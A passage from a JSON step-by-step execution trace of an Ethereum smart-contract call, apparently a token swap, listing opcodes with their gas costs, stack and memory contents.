0000000000000000000000000000000"]},{"pc":3099,"op":"SWAP3","gas":79406,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x344","0xc4","0x40","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3100,"op":"ADD","gas":79403,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x0","0xc4","0x40","0x344"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3101,"op":"SWAP2","gas":79400,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x0","0xc4","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3102,"op":"SWAP1","gas":79397,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x384","0xc4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3103,"op":"SWAP2","gas":79394,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x384","0x0","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3104,"op":"MSTORE","gas":79391,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0xc4","0x0","0x384"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":3105,"op":"POP","gas":79385,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3106,"op":"ADDRESS","gas":79383,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3107,"op":"SWAP3","gas":79381,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0xc4","0x2","0x2","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3108,"op":"POP","gas":79378,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x2","0xc4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3109,"op":"PUSH2","gas":79376,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3112,"op":"SWAP2","gas":79373,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x2","0x2e85"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3113,"op":"POP","gas":79370,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2e85","0x2","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3114,"op":"POP","gas":79368,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2e85","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":3115,"op":"JUMP","gas":79366,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xc2c","0x100","0x324","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2e85"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000384","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576